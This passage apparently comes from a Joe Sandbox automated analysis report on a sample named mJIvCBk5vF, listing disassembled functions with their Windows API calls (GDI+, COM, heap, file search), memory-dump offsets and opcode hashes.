                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Process$AffinityCurrentMask
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1231390398-0
                                                                                                                                                        • Opcode ID: 25c19f1cf6e7651702f05a4e8b53f8f4236c114548c8e8ba58e4688de5a64799
                                                                                                                                                        • Instruction ID: 1820a788e8d5f631db5d30b5352c016cbb7162f507685f514e1da5edaabc7810
                                                                                                                                                        • Opcode Fuzzy Hash: 25c19f1cf6e7651702f05a4e8b53f8f4236c114548c8e8ba58e4688de5a64799
                                                                                                                                                        • Instruction Fuzzy Hash: 9FE0DF33F24A07A7CF198BAD9C09AEB72EEEB4524872C4079E513E3200F974DE0156B0
                                                                                                                                                        Function 00DAF53A Relevance: 3.0, APIs: 2, Instructions: 31COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GdiplusShutdown.GDIPLUS(?,?,?,?,00DC9B73,000000FF), ref: 00DAF578
                                                                                                                                                        • CoUninitialize.COMBASE(?,?,?,?,00DC9B73,000000FF), ref: 00DAF57D
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: GdiplusShutdownUninitialize
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3856339756-0
                                                                                                                                                        • Opcode ID: 1714c9681a19a3c27704508b039d8bedea44ef9a6c40d8b1a7f65c314c8f51cd
                                                                                                                                                        • Instruction ID: 707965f8324213ba3bd71c351de8c428d19261bde7ed8ab3787e850c2ae5c9b4
                                                                                                                                                        • Opcode Fuzzy Hash: 1714c9681a19a3c27704508b039d8bedea44ef9a6c40d8b1a7f65c314c8f51cd
                                                                                                                                                        • Instruction Fuzzy Hash: 6DF05E76A04B45AFC711DF59EC45F8AFBA8FB48760F00422AF51AC3760CB74A800CAA4
                                                                                                                                                        Function 00DAE849 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00DAE86A
                                                                                                                                                        • GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00DAE871
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: BitmapCreateFromGdipStream
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1918208029-0
                                                                                                                                                        • Opcode ID: 1ff6b7c97de778eca880424fdd4b366cd04201fb62501b8c6fb74c7904e57353
                                                                                                                                                        • Instruction ID: 5df983bf7844e8206066a7728af777ebd1a15eaa0f0e7a24475c2ef897148ccd
                                                                                                                                                        • Opcode Fuzzy Hash: 1ff6b7c97de778eca880424fdd4b366cd04201fb62501b8c6fb74c7904e57353
                                                                                                                                                        • Instruction Fuzzy Hash: 34E01271901218EFCB50DF59C905BDDB7F8EB45350F20845AA88693741E774EE04EBB1
                                                                                                                                                        Function 00D91E1F Relevance: 3.0, APIs: 2, Instructions: 11COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ItemShowWindow
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3351165006-0
                                                                                                                                                        • Opcode ID: ef3c9ef07051c34737f6e8fb209dcdcc295bca9499e8f6bae5bd160968e6b328
                                                                                                                                                        • Instruction ID: cfb48cf7c5f9b9c553aa9b87a8e3f143ba3c3f474e4868f9849ba77a8ae533b9
                                                                                                                                                        • Opcode Fuzzy Hash: ef3c9ef07051c34737f6e8fb209dcdcc295bca9499e8f6bae5bd160968e6b328
                                                                                                                                                        • Instruction Fuzzy Hash: F4C0123205C380BECB412BB0DC09D2ABBA8ABA6212F00CA08F0A5C0160C239C010DB31
                                                                                                                                                        Function 00D91CC4 Relevance: 3.0, APIs: 2, Instructions: 8COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetDlgItem.USER32(?,?), ref: 00D91CD2
                                                                                                                                                        • KiUserCallbackDispatcher.NTDLL(00000000), ref: 00D91CD9
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CallbackDispatcherItemUser
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 4250310104-0
                                                                                                                                                        • Opcode ID: 1a836845b41ef6b3ec29e45024921a6478c6ca18b62404a19b8cadbef3b456d2
                                                                                                                                                        • Instruction ID: bea7e46fdc3a9a09aa72c2e10aaaba0180e308f95953e691838482f966e8eff8
                                                                                                                                                        • Opcode Fuzzy Hash: 1a836845b41ef6b3ec29e45024921a6478c6ca18b62404a19b8cadbef3b456d2
                                                                                                                                                        • Instruction Fuzzy Hash: EDC04C7640C380BFCB416BA09D5CC2FBFA9AB95311F40D949F5A5C4220C6358410DB31
                                                                                                                                                        Function 00D927E0 Relevance: 1.8, APIs: 1, Instructions: 306COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 431132790-0
                                                                                                                                                        • Opcode ID: d3b79533f3f576b045f4f7c28532aed04c5224ccbb835c85a239f773f69712ae
                                                                                                                                                        • Instruction ID: 242de5d8f48d5a3220006efbc7b45e24f26b8ca9881a79c323d99f371752135c
                                                                                                                                                        • Opcode Fuzzy Hash: d3b79533f3f576b045f4f7c28532aed04c5224ccbb835c85a239f773f69712ae
                                                                                                                                                        • Instruction Fuzzy Hash: 0BC17931A04255ABDF25DF68C894BBD7BE4AB0A300F1C01B9EC4ADF296C7749945CBB1
                                                                                                                                                        Function 00DA9556 Relevance: 1.8, APIs: 1, Instructions: 258COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 431132790-0
                                                                                                                                                        • Opcode ID: 8ed5b5b8b32a2e2ec0f7f65b17a8f0b701fbbff9ec887aac3a934fdef2a441f1
                                                                                                                                                        • Instruction ID: 5e90e5d2df76fd95dc4285b88350a6e235c3ba5fc0682fbc89af5f566a08eda9
                                                                                                                                                        • Opcode Fuzzy Hash: 8ed5b5b8b32a2e2ec0f7f65b17a8f0b701fbbff9ec887aac3a934fdef2a441f1
                                                                                                                                                        • Instruction Fuzzy Hash: EF8126719043148FDB24EF78C895BAAF7E9EF82310F18092EF45697281EBB4994487B5
                                                                                                                                                        Function 00D920B0 Relevance: 1.6, APIs: 1, Instructions: 108COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3.LIBCMT ref: 00D920B7
                                                                                                                                                          • Part of subcall function 00D980EC: __EH_prolog3.LIBCMT ref: 00D980F3
                                                                                                                                                          • Part of subcall function 00DA2815: __EH_prolog3.LIBCMT ref: 00DA281C
                                                                                                                                                          • Part of subcall function 00D976E7: __EH_prolog3.LIBCMT ref: 00D976EE
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 431132790-0
                                                                                                                                                        • Opcode ID: 5bbedc2b6bd8394fe1173814ae9a4d6e27843515f7a962a5d13a0838e7525a60
                                                                                                                                                        • Instruction ID: b43b9b2aa6bf53ac54c0f25896247063ee8df19812b6a2c75d956ce8af1434fd
                                                                                                                                                        • Opcode Fuzzy Hash: 5bbedc2b6bd8394fe1173814ae9a4d6e27843515f7a962a5d13a0838e7525a60
                                                                                                                                                        • Instruction Fuzzy Hash: 2451F2B5A057808EDB44DF2A85807D9BBE0AF99300F0881BADC4DDF6ABDB744255CB71
                                                                                                                                                        Function 00D9B3E1 Relevance: 1.6, APIs: 1, Instructions: 100COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00D9B3E8
                                                                                                                                                          • Part of subcall function 00D9F711: FindClose.KERNELBASE(00000000,000000FF,00000049,00000049,?,?,00D9A684,?,?,00000000,?,?,?,?,?,?), ref: 00D9F739
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CloseFindH_prolog3_
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2672038326-0
                                                                                                                                                        • Opcode ID: bfaa3d8e1dbea86d367e4106c413a378398d18992de8908a6f06e70c6023e0cb
                                                                                                                                                        • Instruction ID: 6936d19cdb3537f93015f38078ff9c4df361d2c1326c778b5d462437aeb13647
                                                                                                                                                        • Opcode Fuzzy Hash: bfaa3d8e1dbea86d367e4106c413a378398d18992de8908a6f06e70c6023e0cb
                                                                                                                                                        • Instruction Fuzzy Hash: 6E415870900709CFDB24DFA9EA81BA9B7B1BF05318F59446EE05A9B352D730A805DB35
                                                                                                                                                        Function 00D92C30 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00D92C37
                                                                                                                                                          • Part of subcall function 00DA880E: __EH_prolog3.LIBCMT ref: 00DA8815
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3H_prolog3_
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3355343447-0
                                                                                                                                                        • Opcode ID: d9a6be1f56d36989b66e4913ece69a6e30360947cc25668cd8b0bdbf4b209147
                                                                                                                                                        • Instruction ID: 9bcfec24e4b610e506efe01575efd90eddff29d3f6786767e2fb4257afeb2378
                                                                                                                                                        • Opcode Fuzzy Hash: d9a6be1f56d36989b66e4913ece69a6e30360947cc25668cd8b0bdbf4b209147
                                                                                                                                                        • Instruction Fuzzy Hash: 7531397190120CFECF19EBE4E8919EEBBB9EF19300F18012AF405A7251CB309989CB70
                                                                                                                                                        Function 00DA97A4 Relevance: 1.6, APIs: 1, Instructions: 80COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 431132790-0
                                                                                                                                                        • Opcode ID: 64e8c7bea79450222470334472dc66ba351e0bd4dbe52f4c8d16959411af4a1e
                                                                                                                                                        • Instruction ID: a6b6f85f599dc06f07199bbf581cf22a6cf206e28984c8fb2fe4e9a39f27b767
                                                                                                                                                        • Opcode Fuzzy Hash: 64e8c7bea79450222470334472dc66ba351e0bd4dbe52f4c8d16959411af4a1e
                                                                                                                                                        • Instruction Fuzzy Hash: 8921D671E00612DBEF189F788C55B5EB6A8FF05314F05013AE506AB2C1D7749940C7F4
                                                                                                                                                        Function 00D9D771 Relevance: 1.6, APIs: 1, Instructions: 78COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 431132790-0
                                                                                                                                                        • Opcode ID: 802fe3b7cf52316b5cc5d179ccbfb810158d53dec11682803546f09c4cee70bf
                                                                                                                                                        • Instruction ID: e6aeb412d7cc222b5ff6ab41f2ad60d443394a4a13915cb015370fed8e71fbcc
                                                                                                                                                        • Opcode Fuzzy Hash: 802fe3b7cf52316b5cc5d179ccbfb810158d53dec11682803546f09c4cee70bf
                                                                                                                                                        • Instruction Fuzzy Hash: 09217F76A0061A9BCF14DFE9C881AEEB7BAEF88300F14401AE501B7201DB709E058BB5
                                                                                                                                                        Function 00D9EAF3 Relevance: 1.6, APIs: 1, Instructions: 76COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3_
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2427045233-0
                                                                                                                                                        • Opcode ID: 4387a3f515c83507d6f1f97db03c61e4ab0c0958b398382c5c79af7dd2fac91f
                                                                                                                                                        • Instruction ID: 051629e089b4e98c8c4ae428fa953e635c107665f4bf30a7ef71605cca9b1428
                                                                                                                                                        • Opcode Fuzzy Hash: 4387a3f515c83507d6f1f97db03c61e4ab0c0958b398382c5c79af7dd2fac91f
                                                                                                                                                        • Instruction Fuzzy Hash: 3921DF34601318AEDF20DE68C842FEEB3E9EF12758F180948F482A7581DB709E49C7B0
                                                                                                                                                        Function 00DB437D Relevance: 1.6, APIs: 1, Instructions: 67COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3_
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2427045233-0
                                                                                                                                                        • Opcode ID: 7d51794dc21994847299b14f7f2da28cfd16effc4fc79e4b5fd9acba753b2f8a
                                                                                                                                                        • Instruction ID: 30565904ea5ed143dd28e55c8bd04da09d312214f11f061f3e801abda284eafe
                                                                                                                                                        • Opcode Fuzzy Hash: 7d51794dc21994847299b14f7f2da28cfd16effc4fc79e4b5fd9acba753b2f8a
                                                                                                                                                        • Instruction Fuzzy Hash: C5213071940209DEDF04EFA8D885EDD7BF9EF49300F540019E105E7292DA759A45CB71
                                                                                                                                                        Function 00DC040E Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • RtlAllocateHeap.NTDLL(00000000,00DB535E,?,?,00DB6C16,?,?,?,?,?,00DB5269,00DB535E,?,?,?,?), ref: 00DC0440
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AllocateHeap
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1279760036-0
                                                                                                                                                        • Opcode ID: 0c3a8339dcfa784b2647bb26754b37abea094a5b1a7d0b24076691ecf54bfc5c
                                                                                                                                                        • Instruction ID: b050134b49db623ad8b65ab58291b7acf38fec6a08f8b2230b25f3303c37deb8
                                                                                                                                                        • Opcode Fuzzy Hash: 0c3a8339dcfa784b2647bb26754b37abea094a5b1a7d0b24076691ecf54bfc5c
                                                                                                                                                        • Instruction Fuzzy Hash: 28E03932609327EAEA2A37A59C01F9B7E4CDF413A0F1D4128EE89DB191CA60CC0081B6
                                                                                                                                                        Function 00D9F711 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00D9F826: __EH_prolog3_GS.LIBCMT ref: 00D9F830
                                                                                                                                                          • Part of subcall function 00D9F826: FindFirstFileW.KERNELBASE(?,?,00000274,00D9F733,000000FF,00000049,00000049,?,?,00D9A684,?,?,00000000,?,?,?), ref: 00D9F859
                                                                                                                                                          • Part of subcall function 00D9F826: FindFirstFileW.KERNEL32(?,?,?,?,?,00D9D303,?,?,?,?,?,?,?,D8943D1D,00000049), ref: 00D9F8A4
                                                                                                                                                          • Part of subcall function 00D9F826: GetLastError.KERNEL32(?,?,?,00D9D303,?,?,?,?,?,?,?,D8943D1D,00000049,?,00000000), ref: 00D9F902
                                                                                                                                                        • FindClose.KERNELBASE(00000000,000000FF,00000049,00000049,?,?,00D9A684,?,?,00000000,?,?,?,?,?,?), ref: 00D9F739
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
